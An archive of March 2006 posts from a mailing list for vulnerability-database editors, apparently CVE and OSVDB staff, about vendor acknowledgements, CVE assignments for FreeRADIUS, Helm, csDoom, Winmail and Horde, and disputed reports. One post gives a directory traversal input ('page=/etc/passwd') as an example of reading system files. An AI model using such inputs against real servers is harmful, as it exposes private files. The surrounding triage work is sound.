http://pridels.blogspot.com/2006/03/helm-web-hosting-control-panel-xss.html The above reports says there are some cross-site scripting (XSS) issues in default.asp. This report says that 3.2.10 is vulnerable but I noticed the product history lists the following: http://www.webhostautomation.com/webhost-301 3.2.6 Fixed XSS entry in default page Can you confirm these are seperate issues? Does this changelog entry note a previous (but different) cross-site scripting issue? Thanks, Brian From jericho at attrition.org Mon Mar 27 11:38:48 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 27 Mar 2006 11:38:48 -0500 (EST) Subject: [VIM] Helm Control Panel followup Message-ID: ---------- Forwarded message ---------- From: "Rob Kershaw (STAFF)" To: jericho at attrition.org Date: Mon, 27 Mar 2006 17:35:55 +0000 Subject: [TEV-89924]: Re: Your account details (WHA15946) [..] Yes, they were separate issues. 3.2.10 isn't even released yet. It is in beta. The XSS problem mentioned in the below article has already been fixed, and when 3.2.10 stable is released, the fixes will be included. Kind regards, Rob Kershaw From jericho at attrition.org Mon Mar 27 12:52:15 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 27 Mar 2006 12:52:15 -0500 (EST) Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues In-Reply-To: <0603271022490.25005@dell1.moose.awe.com> References: <200603262349.k2QNnhCh025770@cairo.mitre.org> <0603271022490.25005@dell1.moose.awe.com> Message-ID: : With PHP <5.0.0 I can't see a way you can get an fopen in PHP to run : arbitrary code with the default wrappers (unless you've previously : defined a new handler or perhaps installed a third-party stream : wrapper). Now with PHP 5.0.0 you might be able to use the default : filter handler "php://filter...." to write to a file and perhaps pick : one which will gets executed (I don't have PHP 5 handy to try it) : : This is certainly more useful to an attacker to return arbitrary files : that the web server can read if safe_mode is off (page=/etc/passwd etc) : than XSS though. Interesting, as Secunia published: http://secunia.com/advisories/19403/ Input passed to the "page" parameter isn't properly verified, before it is used to display files. This can be exploited to display arbitrary files from local resources via directory traversal attacks. Successful exploitation requires that "register_globals" is enabled. From coley at mitre.org Mon Mar 27 23:59:31 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 27 Mar 2006 23:59:31 -0500 (EST) Subject: [VIM] Provable vendor ACK in csDoom Message-ID: <200603280459.k2S4xVI1020257@cairo.mitre.org> OK, so when Luigi Auriemma says an issue is vendor-acknowledged we all have reasonable cause to believe him, but I went the extra mile to prove it. Ref: http://aluigi.altervista.org/adv/csdoombof-adv.txt Claimed vendor acknowledgement and patch. The vendor home page here: http://voxelsoft.com/csdoom/ has undated and uncredited statements under the "Features" section: Added: * Multiple buffer overflow fixes * Multiple string handling fixes The "Latest Sources" section had source code updated 25/03/2006, another correlator. Still - historically, CVE has not treated discloser-claimed acknowledgement as true vendor acknowledgement, even for reliable researchers (though I'm reconsidering that policy 'cause sometimes it means we spend a lot of time trying to prove what we're already 95% confident about). Anyway, I dug a bit further. Grabbing the source code from the vendor site and grepping for "luigi" gave me a mild surprise: In ./server/c_console.cpp: >int PrintString (int printlevel, char *outline) >{ > static bool last_string_terminated = true; > char szBuffer[9000]; // thanks to Luigi Auriemma for finding >an overflow bug here OK so the vendor doesn't make this sound exactly like a format string, but the source code no longer has this piece of code, as quoted in Auriemma's original advisory: printf (outline); All sprintf/printf statements in PrintString() now have constant format strings. Similarly, in server/sv_main.cpp we now have: >void STACK_ARGS SV_BroadcastPrintf (int level, const char *fmt, ...) >{ > va_list argptr; > char string[4096]; // thanks to Luigi Auriemma for finding an overflow bug here > but notice this change as well: >void STACK_ARGS SV_BroadcastPrintfExcluding (int level, int client_nosend, const char *fmt, ...) >{ > va_list argptr; > char string[4096]; // thanks to Luigi Auriemma for finding an overflow bug here Auriemma did not mention SV_BroadcastPrintfExcluding() in his advisory. While uncredited, there do appear to be relevant changes to SV_SetupUserInfo() in sv_main.cpp: > strcpy(string, MSG_ReadString());// changed > if(/*!strlen(string) ||*/ strlen(string) > MAXPLAYERNAME || strstr(string, "%")) > >... > > strcpy(p->userinfo.netname, string); ... which looks like a sanity check against string length for the strcpy() function call. Similarly, you have: > strcpy(string, MSG_ReadString()); > if(strlen(string) > MAXPLAYERNAME || strstr(string, "%")) > >... > strcpy(p->userinfo.team, string); // changed ... which is also a sanity check. Thus, as originally claimed by the researcher, the vendor has acknowledged the issue via a vague changelog and explicit patches. - Steve From coley at mitre.org Tue Mar 28 00:16:58 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 28 Mar 2006 00:16:58 -0500 (EST) Subject: [VIM] r0t is back - who's running the betting pool? Message-ID: <200603280516.k2S5GwLP020494@cairo.mitre.org> OK, so us vuln DBs know that r0t is apparently back. Anybody want to run the betting pool? 1) When will we see the first vendor dispute in which the vendor doesn't actually understand XSS and needs to be educated? 2) When will we see the first vendor dispute in which the vendor claims that the reported SQL injection isn't a problem and we can't prove that it's nothing more than a forced invalid SQL because r0t used a ' and nothing else? 3) When will the first threatened lawsuit take place and how quickly will the vendor retract it once proven wrong? 4) When will we see an issue for a live site or service provider that theoretically should not be included in vdb's based on editorial policy but gets included anyway 'cause we're drowning in the volume? 5) Why is this humorous at all? :-/ Still wishing for a magical r0t-to-CVE automatic converter... And I'll buy a beer for anyone who's willing to write a generic "so, a 14 year old has reported a blatantly obvious XSS or SQL injection vuln in your product and you want to sue us" FAQ. - Steve From jericho at attrition.org Tue Mar 28 00:20:27 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 28 Mar 2006 00:20:27 -0500 (EST) Subject: [VIM] r0t is back - who's running the betting pool? In-Reply-To: <200603280516.k2S5GwLP020494@cairo.mitre.org> References: <200603280516.k2S5GwLP020494@cairo.mitre.org> Message-ID: : OK, so us vuln DBs know that r0t is apparently back. Anybody want to : run the betting pool? : : 1) When will we see the first vendor dispute in which the vendor : doesn't actually understand XSS and needs to be educated? I'll put down a dollar on 48 hours from the first flood (last night to today) since his return. The handful before today didn't count =) : 2) When will we see the first vendor dispute in which the vendor : claims that the reported SQL injection isn't a problem and we can't : prove that it's nothing more than a forced invalid SQL because r0t : used a ' and nothing else? I'll take 48 hours on that too. I'd take less but he tends to find them in smaller packages where the devs don't seem to be camping their email like we do. : 3) When will the first threatened lawsuit take place and how quickly : will the vendor retract it once proven wrong? NOT SOON ENOUGH : 4) When will we see an issue for a live site or service provider that : theoretically should not be included in vdb's based on editorial : policy but gets included anyway 'cause we're drowning in the : volume? This one is hard to say but definitely a concern given so many researchers using the online demo to test. Hell, while looking around some different software packages, I was trying out demos to see functionality, and invariably found myself testing for simple XSS to gauge if they had considered security. =) : And I'll buy a beer for anyone who's willing to write a generic "so, a : 14 year old has reported a blatantly obvious XSS or SQL injection vuln : in your product and you want to sue us" FAQ. That beer is mine sir. Next legal threat any of us get, forward to VIM and i'll write up a FAQ and post it on the blog and here. From sullo at cirt.net Tue Mar 28 00:31:35 2006 From: sullo at cirt.net (Sullo) Date: Tue, 28 Mar 2006 00:31:35 -0500 Subject: [VIM] r0t is back - who's running the betting pool? In-Reply-To: <200603280516.k2S5GwLP020494@cairo.mitre.org> References: <200603280516.k2S5GwLP020494@cairo.mitre.org> Message-ID: <4428CA37.9090607@cirt.net> Steven M. Christey wrote: What can i get if i win? someone buys me a beer in vegas? > 1) When will we see the first vendor dispute in which the vendor > doesn't actually understand XSS and needs to be educated? > Advisory #3 > 2) When will we see the first vendor dispute in which the vendor > claims that the reported SQL injection isn't a problem and we can't > prove that it's nothing more than a forced invalid SQL because r0t > used a ' and nothing else? > Advisory #1. > 3) When will the first threatened lawsuit take place and how quickly > will the vendor retract it once proven wrong > Advisory #3, #5 > 4) When will we see an issue for a live site or service provider that > theoretically should not be included in vdb's based on editorial > policy but gets included anyway 'cause we're drowning in the > volume? > #1, 3, 4, 5, 6 > 5) Why is this humorous at all? :-/ > See 1-4 above... you have to keep a sense of humor! > And I'll buy a beer for anyone who's willing to write a generic "so, a > 14 year old has reported a blatantly obvious XSS or SQL injection vuln > in your product and you want to sue us" FAQ. > how much beer? :-) -Sullo -- http://www.cirt.net/ | http://www.osvdb.org/ From coley at linus.mitre.org Tue Mar 28 00:52:45 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 28 Mar 2006 00:52:45 -0500 (EST) Subject: [VIM] r0t is back - who's running the betting pool? In-Reply-To: <4428CA37.9090607@cirt.net> References: <200603280516.k2S5GwLP020494@cairo.mitre.org> <4428CA37.9090607@cirt.net> Message-ID: On Tue, 28 Mar 2006, Sullo wrote: > > And I'll buy a beer for anyone who's willing to write a generic "so, a > > > how much beer? :-) I said "a" beer, but I suspect you could find a loophole with respect to the size of the container. - Steve From coley at linus.mitre.org Tue Mar 28 02:38:39 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 28 Mar 2006 02:38:39 -0500 (EST) Subject: [VIM] Helm Control Panel followup In-Reply-To: References: Message-ID: On Mon, 27 Mar 2006, security curmudgeon wrote: > http://www.webhostautomation.com/webhost-301 CVE missed it the first time around, and it looks like some other vdbs have, but the entry for 3.2.9 has fairly clear acknowledgement of CVE-2006-0211: 3.2.9 ------- ... Fixed XSS issue in password reminder page - Steve From coley at mitre.org Tue Mar 28 02:46:57 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 28 Mar 2006 02:46:57 -0500 (EST) Subject: [VIM] Clarification/dispute (or not) on Sep 2005 FreeRADIUS issues Message-ID: <200603280746.k2S7kvFU022522@cairo.mitre.org> Various VDBs reported some FreeRADIUS issues, possibly stemming from a public Red Hat bug report in September 2005, which highlighted some details of an original SuSE bug report: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=167676 The original SUSE report was not public, near as I can tell. Relevant references for Red Hat's bug report include BID:14775, SECUNIA:16712, and various X-Force references including XF:freeradius-token-sqlunixodbc-dos(22211). FreeRADIUS also posted a point-by-point dispute of SuSE's extensive findings, here: http://www.freeradius.org/security/20050909-response-to-suse.txt While multiple "bugs" were acknowledged, most of them were not "externally exploitable" in FreeRADIUS' terminology, which (with other comments in the dispute) I interpreted as meaning that the bugs were only exploitable by the FreeRADIUS admin - and thus did not seem to cross security boundaries. I'm not 100% convinced that the LDAP issue falls under this category (wildcards are rarely mentioned as attack vectors in LDAP related issues), but there's only so much to process at once. The conflicting reports from SUSE and FreeRADIUS resulted in what CVE calls a "delay complex" action, which shouldn't last more than a day or two but sometimes does, especially when even the editor doesn't know what to do :) Anyway, here it is 6 months later and I've been prompted to address the question, at least for CVE. Since the FreeRADIUS dispute seemed to be the last public commentary on the issue (or issues), I used that as the authoritative document. Trying to read between the lines of FreeRADIUS' dispute, it seems that only one aspect of SUSE's original report is agreed to by FreeRADIUS, an off-by-one error in the sql_error function in sql_unixodbc.c, which is still apparently dependent on other environmental factors. I wrote up a CVE accordingly. In the midst of all this, the FreeRADIUS web site also reported some issues that it treated as vulnerabilities, but they were originally reported by Primoz Bratanic, not SUSE. Reading between the lines again, the core issues seem to involve SQL injection and a buffer overflow in the rlm_sqlcounter module: http://www.freeradius.org/security.html "2005.09.09 v1.0.3, v1.0.4 - Multiple issues exist with version 1.0.4, and all prior versions of the server. Externally exploitable vulnerabilities exist only for sites that use the rlm_sqlcounter module. Those sites may be vulnerable to SQL injection attacks, similar to the issues noted below. All sites that have not deployed the rlm_sqlcounter module are not vulnerable to external exploits. However, we still recommend that all sites upgrade to version 1.0.5. The issues are: * SQL Injection attack in the rlm_sqlcounter module. * Buffer overflow in the rlm_sqlcounter module, that may cause a server crash. * Buffer overflow while expanding %t, that may cause a server crash. These issues were found by Primoz Bratanic. As the rlm_sqlcounter module is marked "experimental" in the server source, it is not enabled or configured in most sites. As a result, we believe that the number of vulnerable sites is low. Attack vectors or affected components for the "%t" issue were not clear according to this text. Based on all this, I chose to create 3 separate CVE identifiers as you see below, but needless to say my confidence in their accuracy is sub-par. - Steve ====================================================== Name: CVE-2005-4744 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4744 Acknowledged: yes advisory Announced: 20050909 Flaw: other Reference: CONFIRM:http://www.freeradius.org/security/20050909-response-to-suse.txt Reference: MISC:http://www.freeradius.org/security/20050909-vendor-sec.txt Reference: MISC:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=167676 Reference: BID:14775 Reference: URL:http://www.securityfocus.com/bid/14775 Reference: SECUNIA:16712 Reference: URL:http://secunia.com/advisories/16712 Reference: XF:freeradius-token-sqlunixodbc-dos(22211) Reference: URL:http://xforce.iss.net/xforce/xfdb/22211 Off-by-one error in the sql_error function in sql_unixodbc.c in FreeRADIUS 1.0.2.5-5, and possibly other versions including 1.0.4, might allow remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing the external database query to fail. NOTE: this single issue is part of a larger-scale disclosure, originally by SUSE, which reported multiple issues that were disputed by FreeRADIUS. Disputed issues included file descriptor leaks, memory disclosure, LDAP injection, and other issues. Without additional information, the most recent FreeRADIUS report is being regarded as the authoritative source for this CVE identifier. Analysis: ACCURACY: the FreeRADIUS dispute to the original SUSE post contains point-by-point rebuttals of many of SUSE's original claims, but it does not explicitly acknowledge some individual issues. Therefore this CVE identifier is a "best guess" (as of 20060327) regarding the best available information. ====================================================== Name: CVE-2005-4745 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4745 Acknowledged: yes changelog Announced: 20050909 Flaw: sql-inject Reference: CONFIRM:http://www.freeradius.org/security.html Reference: OSVDB:19323 Reference: URL:http://www.osvdb.org/19323 SQL injection vulnerability in the rlm_sqlcounter module in FreeRADIUS 1.0.3 and 1.0.4 allows remote attackers to execute arbitrary SQL commands via unknown attack vectors. Analysis: ACKNOWLEDGEMENT: vendor security page says "2005.09.09 v1.0.3, v1.0.4 - Multiple issues exist with version 1.0.4, and all prior versions of the server. Externally exploitable vulnerabilities exist only for sites that use the rlm_sqlcounter module. Those sites may be vulnerable to SQL injection attacks, similar to the issues noted below... SQL Injection attack in the rlm_sqlcounter module." ====================================================== Name: CVE-2005-4746 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4746 Acknowledged: yes changelog Announced: 20050909 Flaw: buf Reference: CONFIRM:http://www.freeradius.org/security.html Reference: OSVDB:19324 Reference: URL:http://www.osvdb.org/19324 Reference: OSVDB:19325 Reference: URL:http://www.osvdb.org/19325 Multiple buffer overflows in FreeRADIUS 1.0.3 and 1.0.4 allow remote attackers to cause denial of service (crash) via (1) the rlm_sqlcounter module or (2) unknown vectors "while expanding %t". Analysis: ACKNOWLEDGEMENT: vendor security page says "2005.09.09 v1.0.3, v1.0.4 - Multiple issues exist with version 1.0.4, and all prior versions of the server. Externally exploitable vulnerabilities exist only for sites that use the rlm_sqlcounter module... Buffer overflow in the rlm_sqlcounter module, that may cause a server crash. Buffer overflow while expanding %t, that may cause a server crash." From sullo at cirt.net Tue Mar 28 08:09:04 2006 From: sullo at cirt.net (Sullo) Date: Tue, 28 Mar 2006 08:09:04 -0500 Subject: [VIM] r0t is back - who's running the betting pool? In-Reply-To: References: <200603280516.k2S5GwLP020494@cairo.mitre.org> <4428CA37.9090607@cirt.net> Message-ID: <44293570.8080409@cirt.net> >>> And I'll buy a beer for anyone who's willing to write a generic "so, a >>> >>> >> how much beer? :-) >> > > I said "a" beer, but I suspect you could find a loophole with respect to > the size of the container > Bah! That's what I get for drinking *before* posting... :-) -- http://www.cirt.net/ | http://www.osvdb.org/ From coley at mitre.org Tue Mar 28 19:49:04 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 28 Mar 2006 19:49:04 -0500 (EST) Subject: [VIM] Conftool, not Canftool; appears to be distributable Message-ID: <200603290049.k2T0n4e0005508@cairo.mitre.org> Ref: BUGTRAQ:20060327 CanfTool v1.1 Cross Site Scripting Attack URL:http://www.securityfocus.com/archive/1/archive/1/428899/100/0/threaded Subject line says "CanfTool" but rest of the post says "ConfTool", which is correct. A glance at the vendor web site suggests that it is primarily an application/hosting provider, but the following license makes it clear that there are cases in which its code is made available to consumers: http://www.conftool.net/en/vsis_conftool_license.html "Don't give the software or parts of it to others without our explicit approval. ... If you improve the tool, let us have the altered sources so we can integrate your improvements into the official version." - Steve From coley at mitre.org Wed Mar 29 02:33:59 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 29 Mar 2006 02:33:59 -0500 (EST) Subject: [VIM] Ask and ye Might Receive Message-ID: <200603290733.k2T7Xxkb007498@cairo.mitre.org> Funny, we were just talking about something like this last week... The Web Hacking Incidents Database, hosted by WASC, lists multiple web hacking incidents. However, they also include references to Full-Disclosure posts for XSS issues in high-profile sites... http://www.webappsec.org/projects/whid/ - Steve From jericho at attrition.org Wed Mar 29 09:50:36 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 29 Mar 2006 09:50:36 -0500 (EST) Subject: [VIM] Ask and ye Might Receive In-Reply-To: <200603290733.k2T7Xxkb007498@cairo.mitre.org> References: <200603290733.k2T7Xxkb007498@cairo.mitre.org> Message-ID: : Funny, we were just talking about something like this last week... : : The Web Hacking Incidents Database, hosted by WASC, lists multiple web : hacking incidents. However, they also include references to : Full-Disclosure posts for XSS issues in high-profile sites... : : http://www.webappsec.org/projects/whid/ Yep, this hit right after two days of fresh discussion between the OSVDB folks, on how best to implement a site specific vuln section of the database. The WHID is interesting, as it is a cross between what we had been discussing (vulns in specific sites/services), and dataloss (attrition.org/errata/dataloss). From jericho at attrition.org Wed Mar 29 10:17:03 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 29 Mar 2006 10:17:03 -0500 (EST) Subject: [VIM] Googlebot Destroys Morons Website (fwd) Message-ID: Amusing and interesting. Wonder what CMS he was using =) ---------- Forwarded message ---------- From: Dude VanWinkle To: FunSec LList Date: Wed, 29 Mar 2006 05:44:10 -0700 http://www.thedailywtf.com/forums/65974/ShowPost.aspx Things went pretty well for a few days after going live. But, on day six, things went not-so-well: all of the content on the website had completely vanished and all pages led to the default "please enter content" page. Whoops. Josh was called in to investigate and noticed that one particularly troublesome external IP had gone in and deleted *all* of the content on the system. The IP didn't belong to some overseas hacker bent on destroying helpful government information. It resolved to googlebot.com, Google's very own web crawling spider. Whoops. After quite a bit of research (and scrambling around to find a non-corrupt backup), Josh found the problem. A user copied and pasted some content from one page to another, including an "edit" hyperlink to edit the content on the page. Normally, this wouldn't be an issue, since an outside user would need to enter a name and password. But, the CMS authentication subsystem didn't take into account the sophisticated hacking techniques of Google's spider. Whoops. As it turns out, Google's spider doesn't use cookies, which means that it can easily bypass a check for the "isLoggedOn" cookie to be "false". It also doesn't pay attention to Javascript, which would normally prompt and redirect users who are not logged on. It does, however, follow every hyperlink on every page it finds, including those with "Delete Page" in the title. Whoops. From coley at mitre.org Wed Mar 29 18:34:49 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 29 Mar 2006 18:34:49 -0500 (EST) Subject: [VIM] Older VWar issue reported on vendor web site Message-ID: <200603292334.k2TNYnI6009314@cairo.mitre.org> FYI, the VWar home page at http://www.vwar.de has an item "25.11.2005 ... fixed: XSS bug in functions_admin.php which could allow malicious users to include a (remote) file and eg. execute php commands on the server hosting vwar ... thanks to Cedric Dubois from http://www.priorweb.be for reporting this leak." While referred to as XSS, it sounds like a file inclusion problem to me. Though remote URL inclusion *is* usually about sending scripts from one site to another... ;-) - Steve From theall at tenablesecurity.com Wed Mar 29 20:30:47 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 29 Mar 2006 20:30:47 -0500 Subject: [VIM] Info on Unspecified Webmail Flaw Fixed in Winmail 4.3? Message-ID: <442B34C7.7090100@tenablesecurity.com> Does anyone have any specifics about the Winmail Server flaw referenced by CVE-2006-1250, BID 17009, and OSVDB 23877? All point to the changelog for version 4.3(Build 0302), presumably item 9, which says: "Fixed some security problem of Webmail." In November 2005, Secunia announced 4 flaws in the webmail portion: http://secunia.com/secunia_research/2005-58/advisory/ and version 4.3 is the first version released since then. Earlier today, I set up this newer version and tried to exploit the first issue (directory traversal when creating session files) without success. This together with the timing of the release makes me suspect those issues are collectively what the vendor considers to have addressed in 4.3, but I wonder if anyone here knows definitively what's up. Thanks in advance, George -- theall at tenablesecurity.com From coley at linus.mitre.org Thu Mar 30 01:31:02 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 30 Mar 2006 01:31:02 -0500 (EST) Subject: [VIM] Info on Unspecified Webmail Flaw Fixed in Winmail 4.3? In-Reply-To: <442B34C7.7090100@tenablesecurity.com> References: <442B34C7.7090100@tenablesecurity.com> Message-ID: On Wed, 29 Mar 2006, George A. Theall wrote: > Does anyone have any specifics about the Winmail Server flaw referenced > by CVE-2006-1250, BID 17009, and OSVDB 23877? All point to the changelog > for version 4.3(Build 0302), presumably item 9, which says: "Fixed some > security problem of Webmail." Sorry - CVE-2006-1250's only additional data references that particular changelog item, so there's no other information. > Earlier today, I set up this newer version and tried to exploit the > first issue (directory traversal when creating session files) without > success. This together with the timing of the release makes me suspect > those issues are collectively what the vendor considers to have > addressed in 4.3 You probably know this, but the timing of releases is shaky evidence, especially in products with a vulnerability history and an undetermined reliability when it comes to acknowledging/fixing issues. With this lack of evidence, we decided it was best to create a separate identifier for the changelog item above, rather than guess that maybe the changelog was really dealing with CVE-2005-3811 and CVE-2005-3692. I see that their web site requires you to register to even contact their sales staff, otherwise I would have sent them an email asking them for clarification. - Steve From coley at mitre.org Thu Mar 30 04:13:40 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 30 Mar 2006 04:13:40 -0500 (EST) Subject: [VIM] Recent unspecified Horde vuln is eval injection Message-ID: <200603300913.k2U9De4m010592@cairo.mitre.org> FYI. See diff. ====================================================== Name: CVE-2006-1491 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1491 Reference: CONFIRM:http://lists.horde.org/archives/announce/2006/000271.html Reference: CONFIRM:http://cvs.horde.org/diff.php?f=horde%2Fservices%2Fhelp%2Findex.php&r1=2.85&r2=2.86 Reference: BID:17292 Reference: URL:http://www.securityfocus.com/bid/17292 Reference: FRSIRT:ADV-2006-1154 Reference: URL:http://www.frsirt.com/english/advisories/2006/1154 Eval injection vulnerability in Horde Application Framework versions 3.0 before 3.0.10 and 3.1 before 3.1.1 allows remote attackers to execute arbitrary code via the help viewer. From theall at tenablesecurity.com Thu Mar 30 07:32:39 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Thu, 30 Mar 2006 07:32:39 -0500 Subject: [VIM] Recent unspecified Horde vuln is eval injection In-Reply-To: <200603300913.k2U9De4m010592@cairo.mitre.org> References: <200603300913.k2U9De4m010592@cairo.mitre.org> Message-ID: <442BCFE7.8040002@tenablesecurity.com> Steven M. Christey wrote: > Eval injection vulnerability in Horde Application Framework versions > 3.0 before 3.0.10 and 3.1 before 3.1.1 allows remote attackers to > execute arbitrary code via the help viewer. This one's nasty -- an unauthenticated attacker can execute arbitrary PHP code regardless of the familiar register_globals / magic_quotes_gpc settings and using just a simple GET. Even Hardened PHP's patches don't stop it. Given Horde's popularity, I expect to this since used by worm writers as soon as details get out on the exploit. George From coley at mitre.org Fri Mar 31 02:41:32 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 31 Mar 2006 02:41:32 -0500 (EST) Subject: [VIM] "PHP Script Index" a site-specific issue? Message-ID: <200603310741.k2V7fWLD013528@cairo.mitre.org> Refs: BID:17297, FRSIRT:ADV-2006-1158, SECUNIA:19443 None of these refs had the original raw report, but OSVDB:24243 did: http://osvdb.org/ref/24/24243-script_index.txt from this raw report, Preddy discusses "PHP Script Index", but I can't find any information on a product by this name. Preddy's demonstration URL is site-specific - to a web site that just happens to be an index of many PHP scripts. Searching for "PHP Script Index" on this phpmaniacs web site finds nothing. Searching for "" yields a message containing an unquoted . Preddy claims the vendor URL is this: http://www.nukedweb.com/phpscripts/ but it's just a regular web index. Google searches suggest that there might have been a "PHP Script Index" available on nukedweb at one time, but URLs are now broken. Does anybody know if this is/was really a product or if Preddy was reporting the issue in a single site? Assuming this was a real product, how can we know for sure that the site mentioned by Preddy was really running this particular piece of deadware? - Steve From coley at mitre.org Fri Mar 31 03:18:42 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 31 Mar 2006 03:18:42 -0500 (EST) Subject: [VIM] Some CVEs accidentally included in SUSE-SR:2006:006 Message-ID: <200603310818.k2V8IgiH013610@cairo.mitre.org> FYI, SUSE-SR:2006:006 listed a couple extra CVEs in its cross-references, but associated descriptions were not in the advisory details. Marcus Meissner of SUSE just confirmed to me that CVE-2006-0024 and CVE-2006-0745 should not have been included in the summary, since they released separate advisories for the associated products. Normally I might not notify VIM of this, but I figured it was a good time to remind people to double-check CVEs in advisories, cause mistakes do happen sometimes :-/ - Steve